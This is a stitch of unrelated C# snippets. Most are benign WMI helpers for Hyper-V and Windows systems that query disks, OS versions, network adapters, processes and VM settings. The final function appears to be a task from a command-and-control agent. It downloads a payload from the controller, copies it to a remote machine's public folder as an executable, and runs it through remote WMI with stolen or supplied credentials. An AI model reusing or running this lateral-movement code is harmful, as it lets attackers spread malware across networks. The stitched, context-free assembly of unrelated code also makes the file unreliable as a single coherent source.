public static IEnumerable <string> GetDriveLetters(ManagementScope scope) { ManagementObjectCollection logicalDisks = WMIUtils.Query(scope, "select * from Win32_logicaldisk"); try { foreach (ManagementObject managementObject1 in logicalDisks) { ManagementObject managementObject = managementObject1; try { if (managementObject1["Name"] != null) { yield return((string)managementObject1["Name"]); } } finally { if (managementObject != null) { managementObject.Dispose(); } } managementObject = (ManagementObject)null; } } finally { if (logicalDisks != null) { logicalDisks.Dispose(); } } logicalDisks = (ManagementObjectCollection)null; }
public static OperatingSystemInfo GetOperatingSystemInfo(ManagementScope scope) { OperatingSystemInfo operatingSystemInfo = new OperatingSystemInfo(); using (ManagementObject managementObject = WMIUtils.QueryFirst(scope, "Select * from Win32_OperatingSystem")) { string str = managementObject["Version"].ToString(); if (!string.IsNullOrEmpty(str)) { string[] strArray = str.Split(".".ToCharArray()); operatingSystemInfo.VersionString = str; operatingSystemInfo.Version = new OperatingSystemVersion() { Major = Convert.ToInt32(strArray[0]), Minor = Convert.ToInt32(strArray[1]), Build = Convert.ToInt32(managementObject["BuildNumber"]) }; } operatingSystemInfo.ServicePack = string.Format("{0}.{1}.0.0", (object)Convert.ToInt32(managementObject["ServicePackMajorVersion"]).ToString(), (object)Convert.ToInt32(managementObject["ServicePackMinorVersion"]).ToString()); operatingSystemInfo.ProductType = (OperatingSystemProductType)(uint)managementObject["ProductType"]; if (managementObject["OSProductSuite"] != null) { operatingSystemInfo.ProductSuite = (int)(uint)managementObject["OSProductSuite"]; } operatingSystemInfo.Architecture = WMIUtils.GetCPUArchitecture(scope, operatingSystemInfo.Version.Major); } return(operatingSystemInfo); }
/// <summary> /// Gets the first virtual machine object of the given class with the given name. /// </summary> /// <param name="name">The name of the virtual machine to retrieve the path for.</param> /// <param name="className">The class of virtual machine to search for.</param> /// <param name="scope">The ManagementScope to use to connect to WMI.</param> /// <returns>The instance representing the virtual machine.</returns> private static ManagementObject GetVmObject(string name, string className, ManagementScope scope) { string vmQueryWql = string.Format(CultureInfo.InvariantCulture, "SELECT * FROM {0} WHERE ElementName=\"{1}\"", className, name); SelectQuery vmQuery = new SelectQuery(vmQueryWql); using (ManagementObjectSearcher vmSearcher = new ManagementObjectSearcher(scope, vmQuery)) using (ManagementObjectCollection vmCollection = vmSearcher.Get()) { if (vmCollection.Count == 0) { throw new ManagementException(string.Format(CultureInfo.CurrentCulture, "No {0} could be found with name \"{1}\"", className, name)); } // // If multiple virtual machines exist with the requested name, return the first // one. // ManagementObject vm = WMIUtils.GetFirstObjectFromCollection(vmCollection); return(vm); } }
public static ServerNicInfo[] GetNetworkAdapterList(ManagementScope scope) { Dictionary <string, ServerNicInfo> dictionary = new Dictionary <string, ServerNicInfo>((IEqualityComparer <string>)StringComparer.CurrentCultureIgnoreCase); ObjectQuery query = new ObjectQuery("Select * from Win32_NetworkAdapterConfiguration where IPEnabled = TRUE"); using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(scope, query)) { using (managementObjectSearcher.Get()) { foreach (ManagementObject managementObject in managementObjectSearcher.Get()) { ServerNicInfo serverNicInfo = new ServerNicInfo(); serverNicInfo.IPAddresses = (string[])managementObject["IPAddress"]; serverNicInfo.IPMasks = (string[])managementObject["IPSubnet"]; serverNicInfo.IPGateways = managementObject["DefaultIPGateway"] != null ? (string[])managementObject["DefaultIPGateway"] : (string[])null; serverNicInfo.DNSAddrs = managementObject["DNSServerSearchOrder"] != null ? (string[])managementObject["DNSServerSearchOrder"] : (string[])null; serverNicInfo.DNSDomain = (string)managementObject.Properties["DNSDomain"].Value; serverNicInfo.TcpIpServiceUuid = (string)managementObject["SettingID"]; serverNicInfo.Index = (int)(uint)managementObject["Index"]; serverNicInfo.PNPInstanceId = WMIUtils.GetPNPInstanceId(scope, serverNicInfo.Index); serverNicInfo.DHCPEnabled = (bool)managementObject["DHCPEnabled"]; ManagementObject firstElement = WMIUtils.GetFirstElement(managementObject.GetRelated("Win32_NetworkAdapter")); serverNicInfo.FriendlyName = (string)firstElement["NetConnectionID"]; if (!string.IsNullOrEmpty(serverNicInfo.PNPInstanceId) && !dictionary.ContainsKey(serverNicInfo.TcpIpServiceUuid)) { dictionary.Add(serverNicInfo.TcpIpServiceUuid, serverNicInfo); } } } } return(CUtils.CollectionToArray <ServerNicInfo>((ICollection <ServerNicInfo>)dictionary.Values)); }
public static int GetNumberOfCPUs(ManagementScope scope) { ManagementObject managementObject = WMIUtils.QueryFirst(scope, "Select * From Win32_ComputerSystem"); object propertyValue = WMIUtils.GetPropertyValue((ManagementBaseObject)managementObject, "NumberOfLogicalProcessors"); return(propertyValue == null ? (int)(uint)WMIUtils.GetPropertyValue((ManagementBaseObject)managementObject, "NumberOfProcessors") : (int)(uint)propertyValue); }
public static void ComputerSystem(ManagementScope cimv2Scope, out string domain, out string domainRole) { using (ManagementObject managementObject = WMIUtils.QueryFirst(cimv2Scope, "select * from Win32_ComputerSystem")) { domain = (string)managementObject["Domain"]; domainRole = managementObject["DomainRole"].ToString(); } }
public ManagementObjectCollection Query(string query) { if (this._mo == null) { throw new HyperVException("ManagedElement not initialized"); } return(WMIUtils.Query(this._mo.Scope, query)); }
public static void PrintProperties(ManagementObjectCollection moc) { foreach (ManagementObject managementObject in moc) { Console.WriteLine("///////////////////////////////////////////"); WMIUtils.PrintProperties((ManagementBaseObject)managementObject); } }
public static void GetOperatingSystemInfo(ManagementScope scope, ref OperatingSystemInfo OsInfo, ref string systemPath, ref string systemVolume) { OsInfo = WMIUtils.GetOperatingSystemInfo(scope); using (ManagementObject managementObject = WMIUtils.QueryFirst(scope, "Select * from Win32_OperatingSystem")) { systemPath = managementObject["SystemDirectory"].ToString().Replace("\\system32", ""); systemVolume = systemPath.Substring(0, 2); } }
public static List <string> GetAllVolumeIDs() { List <string> stringList = new List <string>(); foreach (ManagementObject managementObject in WMIUtils.Query(WMIUtils.ConnectToServer("localhost", "", (string)null), "Select DeviceID From Win32_Volume")) { stringList.Add((string)managementObject["DeviceID"]); } return(stringList); }
public static bool IsSANPolicyOnline(ManagementScope defaultScope) { bool flag = false; if (WMIUtils.GetRemoteRegistryValueInt(defaultScope, "SYSTEM\\CurrentControlSet\\Services\\partmgr\\Parameters", "SanPolicy") == 1) { flag = true; } return(flag); }
public HyperVService(string address, NetworkCredential cred, ILogger logger, IHvServiceCallContext callContext) { this._Address = address; this._Cred = cred; this._Logger = logger; this._CallContext = callContext; this._Scope = WMIUtils.ConnectToServer(this._Address, CUtils.CombinUsernameAndDomain(this._Cred.UserName, this._Cred.Domain), this._Cred.Password, "\\root\\virtualization\\v2"); this._VirtSysMgmt = VirtualSystemManagementService.GetVirtualSystemManagmentService(this._Scope); this._SystemName = this._VirtSysMgmt.SystemName; }
public static ManagementObject GetHDD(ManagementScope scope, HddLocation hddLocation) { string query = string.Format("Select * From Win32_DiskDrive Where SCSIBus={0} And SCSILogicalUnit={1} And SCSIPort={2} And SCSITargetId={3}", (object)hddLocation.Bus, (object)hddLocation.Lun, (object)hddLocation.Port, (object)hddLocation.Target); ManagementObject managementObject = WMIUtils.QueryFirst(scope, query); if (managementObject != null) { return(managementObject); } throw new ApplicationException("GetHDD failed with " + hddLocation.ToString()); }
/// <summary> /// Gets the virtual machine's configuration settings object. /// </summary> /// <param name="virtualMachine">The virtual machine.</param> /// <returns>The virtual machine's configuration object.</returns> public static ManagementObject GetVirtualMachineSettings(ManagementObject virtualMachine) { using (ManagementObjectCollection settingsCollection = virtualMachine.GetRelated("Msvm_VirtualSystemSettingData", "Msvm_SettingsDefineState", null, null, null, null, false, null)) { ManagementObject virtualMachineSettings = WMIUtils.GetFirstObjectFromCollection(settingsCollection); return(virtualMachineSettings); } }
/// <summary> /// Gets the virtual system snapshot service. /// </summary> /// <param name="scope">The scope to use when connecting to WMI.</param> /// <returns>The virtual system snapshot service.</returns> public static ManagementObject GetVirtualMachineSnapshotService(ManagementScope scope) { using (ManagementClass snapshotServiceClass = new ManagementClass("Msvm_VirtualSystemSnapshotService")) { snapshotServiceClass.Scope = scope; ManagementObject snapshotService = WMIUtils.GetFirstObjectFromCollection(snapshotServiceClass.GetInstances()); return(snapshotService); } }
public static SystemState GetSystemState(ManagementScope scope, string serverName, string userName, string password, ILogger logger) { try { ManagementScope serverDefaultPath = WMIUtils.ConnectToServerDefaultPath(serverName, userName, password); return(SystemStateReader.GetSystemState(scope, serverDefaultPath, serverName, logger)); } catch (Exception ex) { logger.Verbose("Exception thrown getting the system state for server " + serverName + ". Exception: " + ex.Message, "SystemState"); throw; } }
/// <summary> /// Gets the virtual system management service setting data. /// </summary> /// <param name="scope">The scope to use when connecting to WMI.</param> /// <returns>The virtual system management service settings.</returns> public static ManagementObject GetVirtualMachineManagementServiceSettings(ManagementScope scope) { using (ManagementClass serviceSettingsClass = new ManagementClass("Msvm_VirtualSystemManagementServiceSettingData")) { serviceSettingsClass.Scope = scope; ManagementObject serviceSettings = WMIUtils.GetFirstObjectFromCollection(serviceSettingsClass.GetInstances()); return(serviceSettings); } }
public static ProcessInfo GetProcessInfo(string server, string username, string password, string processName) { ProcessInfo processInfo = (ProcessInfo)null; try { processInfo = WMIUtils.GetProcessInfo(WMIUtils.ConnectToServer(server, username, password), processName); } catch (Exception ex) { } return(processInfo); }
public static VolumeInfo[] GetVolumes(ManagementScope scope) { ObjectQuery query = new ObjectQuery("Select * from Win32_LogicalDisk"); List <VolumeInfo> volumeInfoList = new List <VolumeInfo>(); OperatingSystemInfo OsInfo = (OperatingSystemInfo)null; string empty1 = string.Empty; string empty2 = string.Empty; WMIUtils.GetOperatingSystemInfo(scope, ref OsInfo, ref empty1, ref empty2); using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(scope, query)) { using (ManagementObjectCollection objectCollection = managementObjectSearcher.Get()) { foreach (ManagementObject managementObject in objectCollection) { try { uint num1 = (uint)managementObject["DriveType"]; if ((int)num1 == 3) { string str1 = managementObject["Name"].ToString(); string str2 = managementObject["FileSystem"].ToString(); if (!string.IsNullOrEmpty(str1)) { if (!string.IsNullOrEmpty(str2)) { VolumeInfo volumeInfo1 = new VolumeInfo(); volumeInfo1.DriveLetter = str1.Replace(":", ""); volumeInfo1.Format = str2; volumeInfo1.Label = managementObject["VolumeName"].ToString(); volumeInfo1.DiskSizeMB = (long)((ulong)managementObject["Size"] / 1048576UL); volumeInfo1.FreeSpaceMB = (long)((ulong)managementObject["FreeSpace"] / 1048576UL); volumeInfo1.DriveType = (int)num1; int num2 = empty2.StartsWith(str1) ? 1 : 0; volumeInfo1.IsSystemVolume = num2 != 0; VolumeInfo volumeInfo2 = volumeInfo1; volumeInfo2.UsedSpaceMB = volumeInfo2.DiskSizeMB - volumeInfo2.FreeSpaceMB; volumeInfoList.Add(volumeInfo2); } } } } catch (Exception ex) { } } } } return(volumeInfoList.ToArray()); }
public static ProcessInfo GetProcessInfo(ManagementScope scope, string processName) { ProcessInfo processInfo = new ProcessInfo(); processInfo.Name = processName; ObjectQuery query1 = new ObjectQuery("Select Name,PercentProcessorTime,Timestamp_Sys100NS From Win32_PerfRawData_PerfProc_Process Where Name='" + processName + "'"); ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(scope, query1); ulong num1 = 0; ulong num2 = 0; ulong num3 = 0; using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator()) { if (enumerator.MoveNext()) { ManagementObject current = (ManagementObject)enumerator.Current; num1 = (ulong)current["PercentProcessorTime"]; if (current["Timestamp_Sys100NS"] != null) { num2 = (ulong)current["Timestamp_Sys100NS"]; } } } Thread.Sleep(1000); using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = new ManagementObjectSearcher(scope, query1).Get().GetEnumerator()) { if (enumerator.MoveNext()) { ManagementObject current = (ManagementObject)enumerator.Current; ulong num4 = (ulong)current["PercentProcessorTime"]; if (current["Timestamp_Sys100NS"] != null) { num3 = (ulong)current["Timestamp_Sys100NS"]; } processInfo.PercentCPU = new ulong?((num4 - num1) * 100UL / (num3 - num2)); } } ObjectQuery query2 = new ObjectQuery("Select Name, CreationDate From WIN32_Process"); foreach (ManagementObject managementObject in new ManagementObjectSearcher(scope, query2).Get()) { if (((string)managementObject["Name"]).Split('.')[0] == processName) { string dmtfDate = managementObject["CreationDate"].ToString(); processInfo.CreationDate = WMIUtils.ToDateTime(dmtfDate); break; } } return(processInfo); }
public static List <string> GetMSFailoverClusterNicsIDs() { List <string> stringList = new List <string>(); using (ManagementObjectCollection objectCollection = WMIUtils.Query(WMIUtils.ConnectToServer("localhost", "", (string)null), "Select * from Win32_NetworkAdapterConfiguration Where IPEnabled=True")) { foreach (ManagementObject managementObject in objectCollection) { if (string.Compare((string)managementObject["ServiceName"], "Netft", true) == 0) { string str = ((string)managementObject["SettingID"]).TrimStart("{".ToCharArray()).TrimEnd("}".ToCharArray()); stringList.Add(str); } } } return(stringList); }
public static List <string> GetAllExternalUnicastAddresses() { List <string> stringList = new List <string>(); NetworkInterface[] networkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); if (networkInterfaces != null) { foreach (NetworkInterface networkInterface in networkInterfaces) { if (!WMIUtils.GetMSFailoverClusterNicsIDs().Contains(networkInterface.Id.TrimStart("{".ToCharArray()).TrimEnd("}".ToCharArray())) && networkInterface.NetworkInterfaceType != NetworkInterfaceType.Loopback && (networkInterface.NetworkInterfaceType != NetworkInterfaceType.Tunnel && networkInterface.NetworkInterfaceType != NetworkInterfaceType.Ppp) && networkInterface.OperationalStatus == OperationalStatus.Up) { stringList.AddRange((IEnumerable <string>)IPHelper.GetExternalUnicastAddresses(networkInterface.GetIPProperties())); } } } return(stringList); }
public static VolumeInfo GetVolumeInfo(string volumeId) { VolumeInfo volumeInfo = new VolumeInfo(); if (!volumeId.EndsWith("\\")) { volumeId += "\\"; } ManagementObject managementObject = WMIUtils.QueryFirst(WMIUtils.ConnectToServer("localhost", (string)null, (string)null), "Select * From Win32_Volume Where DeviceID='" + volumeId.Replace("\\", "\\\\") + "'"); volumeInfo.DiskSizeMB = (long)(ulong)managementObject["Capacity"] / 1048576L; volumeInfo.FreeSpaceMB = (long)(ulong)managementObject["Freespace"] / 1048576L; volumeInfo.UsedSpaceMB = volumeInfo.DiskSizeMB - volumeInfo.FreeSpaceMB; volumeInfo.Format = (string)managementObject["FileSystem"]; volumeInfo.Label = (string)managementObject["Label"]; volumeInfo.DriveType = (int)(uint)managementObject["DriveType"]; return(volumeInfo); }
public static bool HasDynamicDisk(ManagementScope scope, List <string> volumes) { bool flag = false; foreach (string volume in volumes) { try { if (WMIUtils.StartsWith(WMIUtils.GetDiskSignature(scope, volume), new byte[8] { (byte)68, (byte)77, (byte)73, (byte)79, (byte)58, (byte)73, (byte)68, (byte)58 })) { flag = true; break; } } catch (Exception ex) { } } return(flag); }
public HostCfgInfo GetCfg(string address, string username, string password) { using (IVirtualSystemManagementService managmentService = VirtualSystemManagementService.GetVirtualSystemManagmentService(this._Host)) { using (IVirtualSystemManagementServiceSettingData serviceSettingData = VirtualSystemManagementServiceSettingData.GetRelated(managmentService).FirstOrDefault <IVirtualSystemManagementServiceSettingData>()) { ManagementScope server = WMIUtils.ConnectToServer(address, username, password); ManagementObject managementObject = WMIUtils.QueryFirst(server, "Select * From Win32_ComputerSystem"); return(new HostCfgInfo() { Name = this._Host.ElementName, DefaultExternalDataRoot = serviceSettingData.DefaultExternalDataRoot, DefaultVirtualHardDiskPath = serviceSettingData.DefaultVirtualHardDiskPath, CpuNum = (long)(uint)WMIUtils.GetPropertyValue((ManagementBaseObject)managementObject, "NumberOfLogicalProcessors"), Ram = (long)(ulong)WMIUtils.GetPropertyValue((ManagementBaseObject)managementObject, "TotalPhysicalMemory"), Volumes = SystemStateReader.GetVolumes(server), VirtualSwitches = this.GetAllVirtualSwitchesWithUuid().Values.Select <IVirtualSwitch, VirtualSwitchInfo>((Func <IVirtualSwitch, VirtualSwitchInfo>)(vs => vs.GetCfg())).ToList <VirtualSwitchInfo>(), OsInfo = WMIUtils.GetOperatingSystemInfo(server) }); } } }
public object GetPropertyValue(string propertyName) { return(WMIUtils.GetPropertyValue((ManagementBaseObject)this._mo, propertyName)); }
public ManagementObject GetRelatedFirst(string relatedClass) { using (ManagementObjectCollection related = this._mo.GetRelated(relatedClass)) return(WMIUtils.GetFirstElement(related)); }
public static int GetTerodoViewPort(ManagementScope defaultScope) { return(WMIUtils.GetRemoteRegistryValueInt(defaultScope, "SOFTWARE\\NSI Software\\Double-Take\\CurrentVersion", "Port")); }
public OperatingSystemInfo GetOS(string address, string username, string password) { using (VirtualSystemManagementService.GetVirtualSystemManagmentService(this._Host)) return(WMIUtils.GetOperatingSystemInfo(WMIUtils.ConnectToServer(address, username, password))); }
public static void Execute(Job job, Agent agent) { WMIProcessExecuteParameters parameters = (WMIProcessExecuteParameters)JsonConvert.DeserializeObject <WMIProcessExecuteParameters>(job.Task.parameters); ApolloTaskResponse resp; MythicCredential cred = new MythicCredential(); bool success; byte[] templateFile; string username = null; string password = null; string formattedRemotePath = null; string fileGuid = Guid.NewGuid().ToString(); if (string.IsNullOrEmpty(parameters.computer)) { job.SetError("No computer name passed."); return; } if (string.IsNullOrEmpty(parameters.template)) { job.SetError("No template was given to download."); return; } if (!string.IsNullOrEmpty(parameters.credential)) { cred = JsonConvert.DeserializeObject <MythicCredential>(parameters.credential); } string remotePath = parameters.remote_path; if (string.IsNullOrEmpty(parameters.remote_path)) { formattedRemotePath = $"\\\\{parameters.computer}\\C$\\Users\\Public\\{fileGuid}.exe"; remotePath = $"C:\\Users\\Public\\{fileGuid}.exe"; } else { if (Directory.Exists(parameters.remote_path)) { parameters.remote_path = Path.Combine(parameters.remote_path, $"{fileGuid}.exe"); } remotePath = parameters.remote_path; //formattedRemotePath = $"\\\\{parameters.computer}\\{parameters.remote_path.Replace(':', '$')}"; } try { templateFile = agent.Profile.GetFile(job.Task.id, parameters.template, agent.Profile.ChunkSize); } catch (Exception ex) { job.SetError($"Error fetching remote file: {ex.Message}"); return; } if (templateFile == null || templateFile.Length == 0) { job.SetError($"File ID {parameters.template} was of zero length."); return; } try { File.WriteAllBytes(remotePath, templateFile); resp = new ApolloTaskResponse(job.Task, $"Copied payload to {remotePath}"); job.AddOutput(resp); } catch (Exception ex) { job.SetError($"Remote file copy to {remotePath} failed. Reason: {ex.Message}"); return; } if (!string.IsNullOrEmpty(cred.account)) { username = cred.account; if (!string.IsNullOrEmpty(cred.realm)) { username = cred.realm + "\\" + username; } password = cred.credential; } success = WMIUtils.RemoteWMIExecute(parameters.computer, remotePath, out string[] results, username, password); job.SetComplete(string.Join("\n", results)); }